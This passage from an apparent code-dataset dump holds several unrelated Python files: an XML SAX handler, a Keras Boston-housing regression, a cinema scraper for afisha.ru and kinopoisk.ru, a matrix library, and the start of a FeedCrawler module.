nesting stack.\n Special characters in elements are converted to \"_\".\n \n The tag handling functions have the following signature:\n start_(self, attributes)\n end_(self, text) where text is any text that has accumulated since\n the start of the tag. Note that this messes up\n mixed content, but we don't need it anyway.\n \"\"\"\n import re\n _special_chars = re.compile(r\"[^A-Za-z0-9_]\")\n \n def __init__(self, warn_on_exception=False):\n \"\"\"If warn_on_exception is true, try to resume parsing, instead of bailing\n out when an error is encountered.\n \"\"\"\n sax.ContentHandler.__init__(self)\n self.text_stack = None\n self.element_stack = None\n self.locator = None\n self.current_element = None\n self.element_methods = dict() # caches the transformed element names\n self.warn_on_exception = warn_on_exception\n\n def _method_name(self, name):\n method_name = self.element_methods.get(name, None)\n if method_name is None:\n method_name = self._special_chars.sub(\"_\", name)\n self.element_methods[name] = method_name\n return method_name\n \n def _exception_wrap(self, tag, call_obj, *args, **kw):\n try:\n ret = call_obj(*args, **kw)\n # except Exception, e:\n except Exception as e:\n line = None\n column = None\n if self.locator is not None:\n (line, column) = (self.locator.getLineNumber(), self.locator.getColumnNumber())\n e = ContentHandlerError(tag, line, column, e)\n if self.warn_on_exception:\n ret = None\n logging.getLogger(\"xmlbase\").error(str(e).encode(\"utf-8\"))\n else:\n raise e\n return ret\n\n def _call_element(self, is_start, name, *args, **kw):\n if is_start:\n element_type = \"start_\"\n else:\n element_type = \"end_\"\n method = getattr(self, element_type + self._method_name(name), None)\n if method is not None:\n method(*args, **kw)\n else:\n if not is_start:\n name = \"/\" + name\n raise UnexpectedElement(name, self.element_stack)\n\n def setDocumentLocator(self, locator):\n self.locator = locator\n \n def startDocument(self):\n self.text_stack = [\"\"]\n self.element_stack = []\n\n def endDocument(self):\n self.text_stack = None\n self.element_stack = None\n \n def startElement(self, name, attrs):\n self.current_element = name\n self._exception_wrap(name, self._call_element, True, name, attrs)\n self.text_stack.append(\"\")\n self.element_stack.append(name)\n \n def endElement(self, name):\n self._exception_wrap(name, self._call_element, False, name,\n self.text_stack[-1])\n self.text_stack.pop()\n self.element_stack.pop()\n if len(self.element_stack) > 0:\n self.current_element = self.element_stack[-1]\n else:\n self.current_element = None\n\n def characters(self, text):\n self.text_stack[-1] += text\n\n\nclass ContentHandlerWithDefaults(ContentHandlerBase):\n \"\"\"Content handler that falls back to a default function if no specialized\n handler function for an element exists.\n If the start_ function is missing for some element,\n default_start(self, name, attrs) is called instead; likewise\n default_end(self, name, text) is called for missing end handler\n functions.\n In this class, these two functions are no-ops.\n Of course, subclasses may override these default functions\n as they see fit. \n \"\"\"\n def __init__(self, allowed_elements, warn_on_error=False):\n \"\"\"Constructor. allowed_elements contains the set of allowed tags.\"\"\"\n ContentHandlerBase.__init__(self, warn_on_error)\n self.allowed_elements = allowed_elements\n\n # Overrides base class method\n def _call_element(self, is_start, name, *args, **kw):\n if is_start:\n element_type = \"start_\"\n else:\n element_type = \"end_\"\n method = getattr(self, element_type + self._method_name(name), None)\n if method is not None:\n method(*args, **kw)\n else:\n if name in self.allowed_elements:\n if is_start:\n self.default_start(name, args[0])\n else:\n self.default_end(name, args[0])\n else:\n if not is_start:\n name = \"/\" + name\n raise UnexpectedElement(name, self.element_stack)\n \n def default_start(self, name, attrs):\n \"\"\"Called when an allowed start element has no specialized handler\"\"\"\n pass\n \n def default_end(self, name, text):\n \"\"\"Called when an allowed closing element has no specialized handler\"\"\"\n pass\n ","sub_path":"api/signstreamxmlparser_refactored/analysis/xmlbase/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"477247984","text":"VALID_FIELDS = [\"header_path\", \"lib_path\", \"flags\", \n \"build\"]\n\nclass Dependency(object):\n '''\n A dependency for the OXSX build, contains build locations, flags etc\n Effectively a python dict where the possible attributes are limited to the above\n ''' \n def __init__(self, name, libs, check_headers):\n self.build = True\n self.name = name\n self.libs = libs\n self.check_headers = check_headers\n \n # initialise to None, can be set by parse_user_config or command line\n # otherwise it is assumed headers/libraries are known to the compiler\n for x in VALID_FIELDS:\n self.__setattr__(x, None)\n \n","sub_path":"config/dependency.py","file_name":"dependency.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"103463541","text":"from app import db, graph, model\n\nimport io, random\n\nclass Conver(db.Model):\n __table__args__ = {'extend_existing': True}\n sender_id = db.Column(db.Integer, primary_key = True)\n pre_action = db.Column(db.String(50))\n pre_context = db.Column(db.String(50))\n user_name = db.Column(db.String(50))\n user_address = db.Column(db.String(50))\n def __repr__(self):\n return ''.format(self.intent)\ndef process_request(args):\n sender_id = args['sender_id']\n mess = args['message']\n print (sender_id, mess)\n intent, score = model.intent.get_intent(mess)\n if score < 0.9:\n intent = 'fall_back'\n # GET NER\n entities = []\n entity = {'start':1, 'end':5, 'value': 'Ha Noi'}\n entities.append(entity)\n\n pre_conv = Conver.query.get(sender_id)\n pre_action = pre_conv.pre_action\n pre_context = pre_conv.pre_context\n # PROCESS FIANL INTENT - POLICY\n if pre_action == 'action_get_schedule': # CALL API TO GET SCHEDULE:\n schedule = ['have_schedule', 'havent_schedule']\n intent = schedule[random.randint(0,1)]\n if pre_action == 'action_get_user': # CALL API TO GET USER:\n user = ['have_user', 'havent_user']\n intent = user[random.randint(0,1)]\n # GET ACTION - NODE IN GRAPH\n action = graph.get_next_node(pre_action, intent) ### GET ACTION\n context = intent\n if pre_context != 'recall' and action == 'action_fallback' and pre_context != None:\n action = pre_action\n context = 'recall'\n elif pre_action == None:\n action = 'action_start'\n context = 'start'\n # SAVE TO SQL\n pre_conv.pre_action = action\n pre_conv.pre_context = context\n db.session.commit() \n mess_response = graph.get_mess_response(action) # GET TEXT\n\n response = {}\n response['intent'] = intent\n response['action'] = action\n response['entities'] = entities\n response['text'] = mess_response\n return response\n\n","sub_path":"NLP/api/app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"455296975","text":"import os\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport tensorflow as tf\nfrom tensorflow.keras.datasets import boston_housing\nfrom tensorflow.keras.layers import *\nfrom tensorflow.keras.activations import *\nfrom tensorflow.keras.models import *\nfrom tensorflow.keras.optimizers import *\nfrom tensorflow.keras.initializers import *\n\n\n# Dataset\n(x_train, y_train), (x_test, y_test) = boston_housing.load_data()\nx_train = x_train.astype(np.float32)\ny_train = y_train.astype(np.float32)\ny_train = y_train.reshape(-1, 1)\nx_test = x_test.astype(np.float32)\ny_test = y_test.astype(np.float32)\ny_test = y_test.reshape(-1, 1)\n\n# Dataset Variablen\nnum_features = x_train.shape[1]\nnum_targets = y_train.shape[1]\ntrain_size = x_train.shape[0]\ntest_size = x_test.shape[0]\n\n\ndef r_squared(y_true, y_pred):\n numerator = tf.math.reduce_sum(tf.math.square(tf.math.subtract(y_true, y_pred)))\n y_true_mean = tf.math.reduce_mean(y_true)\n denominator = tf.math.reduce_sum(tf.math.square(tf.math.subtract(y_true, y_true_mean)))\n r2 = tf.math.subtract(1.0, tf.math.divide(numerator, denominator))\n r2_clipped = tf.clip_by_value(r2, clip_value_min=0.0, clip_value_max=1.0)\n return r2_clipped\n\n# Modell Parameter\ninit_w = RandomUniform(minval=-1.0, maxval=1.0)\ninit_b = Constant(value=0.0)\nlr = 0.005\noptimizer = Adam(lr=lr)\nepochs = 1000\nbatch_size = 512\n\n# DNN definieren\nmodel = Sequential()\nmodel.add(Dense(units=16, kernel_initializer=init_w, bias_initializer=init_b, input_shape=(num_features, )))\nmodel.add(Activation(\"relu\"))\nmodel.add(Dense(units=num_targets, kernel_initializer=init_w, bias_initializer=init_b,))\nmodel.summary()\n\n# Modell kompilieren, trainieren und evaluieren\n# Netz vorbereiten\nmodel.compile(\n loss=\"mse\",\n optimizer=optimizer,\n metrics=[r_squared])\n# Netz trainieren\nmodel.fit(\n x=x_train, \n y=y_train, \n epochs=epochs,\n batch_size=batch_size,\n validation_data=[x_test, y_test])\n# Netz auswerten\nscore = model.evaluate(x_test, y_test, verbose=0)\nprint(\"Score: \", score)","sub_path":"2_DeepLearning-Keras/01_Keras_Boston_Dataset_Regression/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"214809943","text":"from collections import deque, Counter, namedtuple\nfrom datetime import datetime\nfrom queue import Queue\nfrom threading import Thread\nimport logging\nimport random\nimport re\nimport time\n\n\nfrom bs4 import BeautifulSoup\nimport requests\nfrom flask.helpers import get_debug_flag\n\n\nfrom affiche.extensions import cache\n\n\nFilmInfo = namedtuple('FilmInfo', [\n 'title',\n 'afisha_link',\n 'kinopoisk_id',\n 'film_year',\n 'kinopoisk_link',\n 'kinopoisk_rating',\n 'film_genre',\n 'creation',\n 'description',\n ])\n\n\nif get_debug_flag():\n logging.basicConfig(level=logging.INFO,\n format='(%(threadName)-9s) %(message)s',)\n\n\n@cache.cached(timeout=60*60*24, key_prefix='proxy_ip_list')\ndef fetch_proxy_ip_list(provider='http://www.freeproxy-list.ru/api/proxy'):\n response = requests.get(\n provider, params={'anonymity': 'false', 'token': 'demo'})\n if response.ok:\n return response.text.splitlines()\n\n\n@cache.cached(timeout=60*60*24, key_prefix='useragents_list')\ndef make_useragents_list(from_file='affiche/user_agents.txt'):\n with open(from_file, 'r') as file_handler:\n return file_handler.read().splitlines()\n\n\ndef compose_proxy_url(from_ip):\n if from_ip:\n return {'http': 'http://{}'.format(from_ip),}\n\n\n@cache.memoize(60*60*24)\ndef download_afisha_film_html(link, proxy_ips, user_agents,):\n return requests.get(\n link,\n headers=produce_headers(get_random(user_agents)),\n proxies=compose_proxy_url(get_random(proxy_ips)),\n )\n\n\n\ndef get_random(from_iterable):\n if from_iterable:\n return random.choice(from_iterable)\n\n\ndef produce_headers(user_agent):\n return {'User-Agent': user_agent}\n\n\ndef find_year_in(div_elem, default_year=0, first_el=0):\n year_tag = div_elem.find('span', class_='year')\n if year_tag:\n year = re.findall(r'\\d{4}', year_tag.text)[first_el]\n if year:\n return int(year)\n return default_year\n\n\ndef extract_kinopoisk_rating(soup, default_rating='0'):\n rating_tag = soup.find('div', class_='rating')\n if rating_tag:\n return rating_tag.text\n return default_rating\n\n\ndef parse_id_and_rating_from(kinopoisk_search, film, top_count_res=2, first_el=0):\n soup = BeautifulSoup(kinopoisk_search, 'html.parser')\n top_search_results = soup.find_all('div', class_='element')[:top_count_res]\n best_match_variants = Counter(dict(((search_result, find_year_in(search_result))\n for search_result in top_search_results)))\n best_match_div, film_year = best_match_variants.most_common()[first_el]\n link_with_film_id = best_match_div.find('div', class_='info').p.a['href']\n film_kinopisk_id = re.findall(r'\\d{5,7}', link_with_film_id)[first_el]\n film_kinopisk_rating = extract_kinopoisk_rating(best_match_div)\n return tuple(\n FilmInfo(title=film['title'],\n afisha_link=film['afisha_link'],\n kinopoisk_id=film_kinopisk_id,\n film_year=film_year,\n kinopoisk_link=link_with_film_id,\n kinopoisk_rating=film_kinopisk_rating,\n film_genre='',\n creation='',\n description='',),\n film_kinopisk_rating,\n )\n\n\ndef parse_afisha_film_page(film_html, film_info):\n soup = BeautifulSoup(film_html, 'html.parser')\n film_tag = soup.find('div', id='content')\n return film_info._replace(\n film_genre = film_tag.find('div', class_='b-tags').text,\n creation = film_tag.find('span', class_='creation').text,\n description = film_tag.find('p',\n id='ctl00_CenterPlaceHolder_ucMainPageContent_pEditorComments').text,\n )\n\n\ndef download_and_parse_film_info_from_afisha(\n film,\n proxy_ips,\n user_agents,\n min_delay=0,\n max_delay=1,\n ):\n film_info, kinopoisk_rating = film\n delay = random.choice(range(min_delay, max_delay))\n time.sleep(delay)\n response = download_afisha_film_html(\n film_info.afisha_link, proxy_ips, user_agents)\n logging.info('{} : {}'.format(film_info.afisha_link, response.status_code))\n if response.ok:\n film_info = parse_afisha_film_page(response.text, film_info)\n logging.info(film_info)\n return film_info\n\n\n@cache.memoize(60*60*24)\ndef download_kinopoisk_search_html(\n film_title,\n proxy_ips,\n user_agents,\n from_url='https://www.kinopoisk.ru/index.php',\n ):\n return requests.get(\n from_url,\n params={'kp_query': film_title.encode('cp1251'),\n 'first': 'no',\n 'what': '',},\n headers=produce_headers(get_random(user_agents)),\n proxies=compose_proxy_url(get_random(proxy_ips)),\n )\n\n\ndef download_and_parse_ids_and_ratings(\n film,\n proxy_ips,\n user_agents,\n min_delay=1,\n max_delay=5,\n ):\n delay = random.choice(range(min_delay, max_delay))\n time.sleep(delay)\n response = download_kinopoisk_search_html(film['title'],\n proxy_ips, user_agents)\n if response.ok:\n return parse_id_and_rating_from(response.text, film,)\n\n\ndef grab_with_threads(popular_movies, proxy_ips, user_agents,\n graber_func, workers_number=4):\n def run(tasks, results, proxy_ips, user_agents):\n while True:\n film = tasks.get()\n logging.info('{film} was taken'.format(film=film))\n results.append(graber_func(film, proxy_ips, user_agents))\n logging.info('{film} was done'.format(film=film))\n tasks.task_done()\n tasks = Queue()\n for film in popular_movies:\n tasks.put(film)\n results = deque()\n for number in range(workers_number):\n graber = Thread(\n target=run,\n daemon=True,\n args=(tasks,\n results,\n proxy_ips,\n user_agents,))\n graber.start()\n tasks.join()\n return list(results)\n\n\ndef fetch_ids_and_ratings_from_kinopoisk(popular_movies,\n proxy_ips, user_agents, top_count):\n popular_movies = grab_with_threads(popular_movies, proxy_ips, user_agents,\n graber_func=download_and_parse_ids_and_ratings)\n logging.info(popular_movies)\n return Counter(dict(popular_movies)).most_common(top_count)\n\n\ndef download_afisha_schedule_cinema_page(proxy_ips, user_agents,\n afisha_cinema_url='https://www.afisha.ru/msk/schedule_cinema/'):\n response = requests.get(\n afisha_cinema_url,\n headers=produce_headers(get_random(user_agents)),\n proxies=compose_proxy_url(get_random(proxy_ips)),\n )\n if not response.ok:\n response.raise_for_status()\n return response.text\n\n\ndef is_popular_by(cinemas_num, pop_level):\n return cinemas_num > pop_level\n\n\n@cache.memoize(60*60*24)\ndef find_afisha_popular_movies(pop_level, proxy_ips, user_agents):\n afisha_page = download_afisha_schedule_cinema_page(proxy_ips, user_agents)\n logging.info('Fetched afisha page')\n afisha_soup = BeautifulSoup(afisha_page, 'html.parser')\n popular_movies = []\n film_tags = afisha_soup.find_all('div', class_='m-disp-table')\n for film_div in film_tags:\n cinemas_quantity = len(film_div.find_next('table').find_all('tr'))\n if is_popular_by(cinemas_quantity, pop_level):\n title = film_div.a.text\n afisha_link = film_div.a['href']\n popular_movies.append(\n dict(title=title,\n afisha_link=afisha_link))\n logging.info(popular_movies)\n return popular_movies\n\n\n@cache.memoize(60*60*24)\ndef fetch_top_movies_with_data(top_count=10, pop_level=30):\n start = datetime.now()\n logging.info('Starting fetch_top_movies_with_data...')\n proxy_ips = fetch_proxy_ip_list()\n user_agents = make_useragents_list()\n popular_movies = find_afisha_popular_movies(pop_level, proxy_ips,\n user_agents,)\n popular_movies = fetch_ids_and_ratings_from_kinopoisk(\n popular_movies, proxy_ips, user_agents, top_count,)\n movies_full_info = grab_with_threads(popular_movies, proxy_ips, user_agents,\n graber_func=download_and_parse_film_info_from_afisha,)\n logging.info('Total time: {}'.format(datetime.now() - start))\n return movies_full_info\n","sub_path":"affiche/movies/graber.py","file_name":"graber.py","file_ext":"py","file_size_in_byte":8523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"395646169","text":"from functools import reduce, lru_cache\n# from functools import cached_property\nimport operator\nimport itertools as itt\nfrom fractions import Fraction\nfrom numbers import Number\n\nfrom .vector import Vector\n\n\nclass Matrix():\n def __init__(self, list_of_lists):\n assert len(list_of_lists) > 0, \"cannot create 0-th dimensional matrix\"\n assert all(len(a) == len(\n list_of_lists[0]) for a in list_of_lists[1:]), 'every row must have the same amount of elements'\n self.m = [Vector(l) for l in list_of_lists]\n\n def __str__(self):\n if type(self.m[0][0]) is float:\n return '\\n'.join(''.join(str(round(a, 3)).ljust(6) for a in r) for r in self.m).strip()\n\n justif = max((len(str(item)) for item in itt.chain(*self.m))) + 2\n return '\\n'.join(''.join(str(a).ljust(justif) for a in r) for r in self.m).strip()\n\n def __repr__(self):\n return f\"Matrix({[vec.v for vec in self.m]})\"\n\n def __hash__(self):\n return hash(tuple(tuple(a for a in row) for row in self.m))\n\n def __add__(self, other):\n if type(other) is not Matrix:\n return NotImplemented\n assert self.shape == other.shape, 'Matrix addition is only allowed if both matrices are the same shape'\n return Matrix([list(map(operator.add, r1, r2)) for r1, r2 in zip(self.m, other.m)])\n\n def __sub__(self, other):\n return self + (-1 * other)\n\n def __mul__(self, other):\n if type(other) in (list, tuple, Vector):\n assert len(\n other) == self.shape[1], 'Vector size must be equal to the number of columns'\n return Vector([Vector.dot(r, other) for r in self.rows])\n elif type(other) is Matrix:\n assert self.shape[1] == other.shape[0], \"inner shape does not match\"\n return Matrix([[Vector.dot(r, c) for c in other.cols] for r in self.rows])\n return NotImplemented\n\n def __neg__(self):\n return -1 * self\n\n def __rmul__(self, other):\n if not isinstance(other, Number):\n return NotImplemented\n return self.scale(other)\n\n def __eq__(self, other):\n return type(other) == Matrix and all(r1 == r2 for r1, r2 in zip(self.m, other.m))\n\n def __getitem__(self, i):\n return self.rows[i]\n\n def __round__(self, r=0):\n return Matrix([[round(float(i), r) for i in l] for l in self.m])\n\n def __or__(self, other):\n assert type(other) in (Matrix, Vector)\n assert self.shape[0] == other.shape[0], \"sizes do not match\"\n if type(other) is Matrix:\n return Matrix([v1 | v2 for v1, v2 in zip(self.m, other.m)])\n return Matrix([v1 | e2 for v1, e2 in zip(self.m, other.v)])\n\n def __truediv__(self, other):\n \"\"\"Does not divide matrices! creates a matrix consisting of the 2 matrices stacked.\"\"\"\n assert type(other) in (Matrix, Vector)\n if type(other) is Matrix:\n return (self.T | other.T).T\n return (self.T | other).T\n\n @lru_cache(maxsize=16)\n def __pow__(self, p):\n if type(p) is not int:\n return NotImplemented\n assert self.is_square, 'Matrix exponantiation only allowed for square matrices'\n assert p >= -1, 'negative integers not allowed'\n if p == -1:\n return self.inverse\n if p == 0:\n return Matrix.identity(self.shape[0])\n return reduce(operator.mul, (itt.repeat(self, p)))\n\n def scale(self, scalar):\n return Matrix([list(map(lambda x: x * scalar, r)) for r in self.rows])\n\n def copy(self):\n return Matrix(self.m)\n\n # @cached_property # requires python 3.8\n @property\n def shape(self):\n return len(self.m), len(self.m[0])\n\n @property\n def is_square(self):\n a, b = self.shape\n return a == b\n\n @property\n def is_symmetric(self):\n return all(a == b for a, b in zip(self.m, self.cols))\n\n @property\n def cols(self):\n return [Vector(a) for a in zip(*self.m)]\n\n @property\n def rows(self):\n return self.m\n\n @property\n def T(self):\n return Matrix(self.cols)\n\n def filter(self, rows):\n m = [r for i, r in enumerate(self.rows) if i in rows]\n if not m:\n return None\n return Matrix(m)\n\n @property\n def trace(self):\n return sum(r[i] for i, r in enumerate(self.m))\n\n '''\n @property\n def characteristic_polynomial(self):\n from polynomial import Polynomial\n m = Matrix(self.m)\n for i, row in enumerate(m):\n row[i] = Polynomial(row[i], -1, identifier='λ')\n return m.determinant\n '''\n\n # @cached_property # requires python 3.8\n @property\n def determinant(self):\n assert self.is_square, \"determinant is only defined for square matrices\"\n s = self.shape[0]\n if s == 2:\n return self.m[0][0] * self.m[1][1] - self.m[0][1] * self.m[1][0]\n\n return sum((-1)**j * self.m[0][j] * self.get_minor_for(0, j).determinant for j in range(s) if self.m[0][j] != 0)\n\n # @cached_property # requires python 3.8\n @property\n def positive_definite(self):\n m, n = self.shape\n if (m, n) == (1, 1):\n return self[0][0] > 0\n return self.determinant > 0 and self.get_minor_for(m - 1, n - 1).positive_definite\n\n def get_minor_for(self, i, j):\n return Matrix([[x for ind_c, x in enumerate(row) if ind_c != j] for ind_r, row in enumerate(self.m) if ind_r != i])\n\n @staticmethod\n def ones(n):\n return Matrix([[1 for _ in range(n)] for _ in range(n)])\n\n @staticmethod\n def identity(n):\n return Matrix([[int(i == j) for j in range(n)] for i in range(n)])\n\n @staticmethod\n def from_input(typ=int, rows=None):\n a = input('Enter entries separated by a space:\\n').strip().split(' ')\n m = [a]\n if not rows:\n rows = len(a)\n for _ in range(rows - 1):\n m.append(input().strip().split(' '))\n return Matrix([[typ(x) for x in line] for line in m])\n\n '''\n @staticmethod\n def from_coef_input(typ=int):\n def rough_num(n):\n return n.replace('-', '').replace('.', '').isnumeric()\n\n from coefficients import Coefficient\n a, b = (int(x)\n for x in input('Enter matrix dimensions').strip().split(' '))\n m = []\n for _ in range(a):\n t = input().strip().split(' ')\n assert len(t) == b, f\"size of row should be {b} but is {len(t)}\"\n m.append([typ(x) if rough_num(\n x) else Coefficient.from_string(x) for x in t])\n return Matrix(m)\n '''\n\n @staticmethod\n def diagonal(entries):\n rows = []\n n = len(entries)\n for i in range(n):\n rows.append([0] * n)\n rows[-1][i] = entries[i]\n return Matrix(rows)\n\n # @cached_property # requires python 3.8\n @property\n def inverse(self):\n \"\"\"Find the inverse of the matrix.\"\"\"\n assert self.is_square, 'cannot invert non-square matrix'\n assert self.determinant != 0, 'cannot invert singular matrix'\n\n ans = Matrix.identity(self.shape[0])\n temp = Matrix(self.m) # copy self\n\n for i in range(self.shape[0]):\n op = Matrix.row_echelon_matrix(temp, i)\n ans = op * ans\n temp = op * temp\n return ans\n\n @staticmethod\n def row_echelon_matrix(matrix, col):\n \"\"\"Preform row echelon algorithm on column col. Notice that only rows below that index will be checked.\"\"\"\n n = matrix.shape[0]\n for i, r in enumerate(matrix[col:], col):\n if r[col] != 0:\n # we use col as a row because we are on the diagonal\n swapper = Matrix._swap_rows_matrix(n, i, col)\n return swapper * Matrix.pivot_matrix(matrix, i, col)\n\n print('could not eliminate row')\n return Matrix.identity(n)\n\n @staticmethod\n def pivot_matrix(matrix, row, col):\n p = matrix.m[row][col]\n assert p != 0, \"can't pivot on 0 entry\"\n n = matrix.shape[0]\n\n ans = Matrix._scale_row_matrix(n, Fraction(1, p), row)\n for i, r in enumerate(matrix.m):\n if i != row:\n ans = Matrix._add_scaled_row_matrix(n, -r[col], row, i) * ans\n return ans\n\n @staticmethod\n def _scale_row_matrix(size, scalar, row):\n \"Scale row row by scalar matrix.\"\n m = Matrix.identity(size)\n m.m[row] = m.m[row].scale(scalar)\n return m\n\n @staticmethod\n def _swap_rows_matrix(size, i, j):\n \"Swap rows i and j matrix.\"\n m = Matrix.identity(size)\n m.m[i], m.m[j] = m.m[j], m.m[i]\n return m\n\n @staticmethod\n def _add_scaled_row_matrix(size, s, i, j):\n \"\"\"Add s times row i to row j matrix.\"\"\"\n m = Matrix.identity(size)\n m.m[j][i] = s\n return m\n\n @staticmethod\n def least_squares(A, b):\n \"\"\"Return best x such that Ax = b.\"\"\"\n return (A.T * A)**-1 * A.T * b\n\n def solve(self, verbose=False, return_matrix=False):\n A = self.copy()\n\n rows, cols = self.shape\n\n ans = Matrix.identity(rows)\n\n for i in range(min(cols - 1, rows)):\n if verbose:\n print(ans * self)\n print()\n op = Matrix.row_echelon_matrix(A, i)\n ans = op * ans\n A = op * A\n\n result = ans * self\n\n # check that the system is consistent (if more rows than cols)\n if any(result.cols[-1][i] != 0 for i in range(cols - 1, rows)):\n print('inconsistent system of ecuations')\n\n if return_matrix:\n return result, Vector(result.cols[-1][:cols - 1])\n return Vector(result.cols[-1][:cols - 1])\n\n def interactive_pivot(self):\n i = 0\n m = Matrix.identity(self.shape[0])\n while i >= 0:\n print(m * self)\n print()\n i, j = (int(x) for x in input(\n 'Enter pivot coordinates separated by a space: ').split(' '))\n m = Matrix.pivot_matrix(m * self, i, j) * m\n\n @staticmethod\n def interactive_manipulation(A):\n act = 0\n n = A.shape[0]\n m = Matrix.identity(n)\n undo = Matrix.identity(n)\n while True:\n print(m * A)\n print()\n act = input(\n \"Select action: 0:scale, 1:swap, 2:add, 3:pivot, 4:undo, -1:exit\")\n if act in ['0', 'scale']:\n try:\n i, sc = input(\"Scale row _ by _\").split(' ')\n except:\n print('invalid input!')\n continue\n if '/' in sc:\n sc = Fraction(*(int(x) for x in sc.split('/')))\n elif '.' in sc:\n sc = float(sc)\n else:\n sc = int(sc)\n undo = m\n m = Matrix._scale_row_matrix(n, sc, int(i)) * m\n print(f'Scaled row {i} by {sc}')\n elif act in ['1', 'swap']:\n try:\n i, j = (int(x)\n for x in input(\"Swap row _ with row _\").split(' '))\n except:\n print('invalid input!')\n continue\n undo = m\n m = Matrix._swap_rows_matrix(n, i, j) * m\n print(f'Swapped rows {i} and {j}')\n elif act in ['2', 'add']:\n try:\n j, sc, i = input(\"To row _ add _ times row _\").split(' ')\n except:\n print('invalid input!')\n continue\n if '/' in sc:\n sc = Fraction(*(int(x) for x in sc.split('/'))) * m\n elif '.' in sc:\n sc = float(sc)\n else:\n sc = int(sc)\n undo = m\n m = Matrix._add_scaled_row_matrix(n, sc, int(i), int(j)) * m\n print(f'To row {j} added {sc} times row {i}')\n elif act in ['3', 'pivot']:\n try:\n i, j = (int(x)\n for x in input(\"pivot on entry _ _\").split(' '))\n except:\n print('invalid input!')\n continue\n undo = m\n m = Matrix.pivot_matrix(m * A, i, j) * m\n print(f'Pivoted on entry {i} {j}')\n elif act in ['4', 'pivot']:\n m = undo\n print('Undid last action')\n elif act in ['-1', 'undo']:\n break\n else:\n print('Invalid action')\n return m\n","sub_path":"matrixrod/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":12707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"219119535","text":"# -*- coding: utf-8 -*-\n# FeedCrawler\n# Projekt von https://github.com/rix1337\n\nimport datetime\nimport hashlib\nimport re\n\nfrom feedcrawler.common import add_decrypt\nfrom feedcrawler.db import ListDb\nfrom feedcrawler.notifiers import notify\nfrom feedcrawler.sites.shared.internal_feed import dw_mirror\nfrom feedcrawler.url import get_url\nfrom feedcrawler.url import get_url_headers\n\n\ndef get_series_list(self):\n cont = ListDb(self.dbfile, self.filename).retrieve()\n titles = []\n if cont:\n for title in cont:\n if title:\n title = title.replace(\" \", \".\")\n titles.append(title)\n return titles\n\n\ndef settings_hash(self, refresh):\n if refresh:\n if self._INTERNAL_NAME == \"DJ\":\n settings = [\"quality\", \"rejectlist\", \"regex\", \"hoster_fallback\"]\n else:\n settings = [\"quality\", \"rejectlist\", \"regex\", \"hevc_retail\", \"retail_only\", \"hoster_fallback\"]\n self.settings = []\n self.settings.append(self.feedcrawler.get(\"english\"))\n self.settings.append(self.feedcrawler.get(\"surround\"))\n self.settings.append(self.feedcrawler.get(\"prefer_dw_mirror\"))\n self.settings.append(self.hosters)\n for s in settings:\n self.settings.append(self.config.get(s))\n self.pattern = r'^(' + \"|\".join(get_series_list(self)).lower() + ')'\n current_set = str(self.settings) + str(self.pattern)\n return hashlib.sha256(current_set.encode('ascii', 'ignore')).hexdigest()\n\n\ndef feed_url(self):\n if self._INTERNAL_NAME == \"SJ\" or self._INTERNAL_NAME == \"DJ\":\n url = 'https://' + self.url + '/api/releases/latest/' + str(self.day)\n return url\n elif self._INTERNAL_NAME == \"SF\":\n delta = (datetime.datetime.now() - datetime.timedelta(days=self.day)).strftime(\"%Y-%m-%d\")\n url = 'https://' + self.url + '/updates/' + delta\n return url\n elif self._INTERNAL_NAME == \"DWs\":\n url = 'https://' + self.url + \"/downloads/hauptkategorie/serien/order/zeit/sort/D/seite/\" + str(\n self.day + 1) + \"/\"\n return url\n else:\n return False\n\n\ndef send_package(self, title, link, language_id, season, episode, site):\n englisch = ''\n if language_id == 2:\n englisch = '/Englisch'\n if self.filename == 'List_ContentShows_Shows':\n link_placeholder = '[Episode' + englisch + '] - '\n elif self.filename == 'List_ContentShows_Shows_Regex':\n link_placeholder = '[Episode/RegEx' + englisch + '] - '\n elif self.filename == 'List_ContentShows_Seasons_Regex':\n link_placeholder = '[Staffel/RegEx' + englisch + '] - '\n elif self.filename == 'List_ContentAll_Seasons':\n link_placeholder = '[Staffel' + englisch + '] - '\n elif self.filename == 'List_CustomDJ_Documentaries':\n link_placeholder = '[Doku] - ' + englisch\n elif self.filename == 'List_CustomDJ_Documentaries_Regex':\n link_placeholder = '[Doku/RegEx] - ' + englisch\n else:\n return\n try:\n storage = self.db.retrieve_all(title)\n except Exception as e:\n self.log_debug(\n \"Fehler bei Datenbankzugriff: %s, Grund: %s\" % (e, title))\n\n if 'added' in storage or 'notdl' in storage:\n self.log_debug(title + \" - Release ignoriert (bereits gefunden)\")\n else:\n if season and episode:\n link = link.replace('&_=', '&season=' + str(season) + '&episode=' + str(episode) + '&_=')\n download = add_decrypt(title, link, self.url, self.dbfile)\n if download:\n self.db.store(title, 'added')\n log_entry = link_placeholder + title + ' - [' + site + ']'\n self.log_info(log_entry)\n notify([\"[Click'n'Load notwendig] - \" + log_entry], self.configfile)\n return log_entry\n\n\ndef periodical_task(self):\n if not self.url:\n return self.device\n\n if self.filename == 'List_ContentShows_Shows_Regex':\n if not self.config.get('regex'):\n self.log_debug(\"Suche für \" + self._SITE + \"-Regex deaktiviert!\")\n return self.device\n elif self.filename == 'List_ContentShows_Seasons_Regex':\n if not self.config.get('regex'):\n self.log_debug(\"Suche für \" + self._SITE + \"-Regex deaktiviert!\")\n return self.device\n elif self.filename == 'List_ContentAll_Seasons':\n if not self.config.get('crawlseasons'):\n self.log_debug(\"Suche für \" + self._SITE + \"-Staffeln deaktiviert!\")\n return self.device\n\n if self.empty_list:\n self.log_debug(\n \"Liste ist leer. Stoppe Suche für Serien!\" + self.listtype)\n return self.device\n try:\n reject = 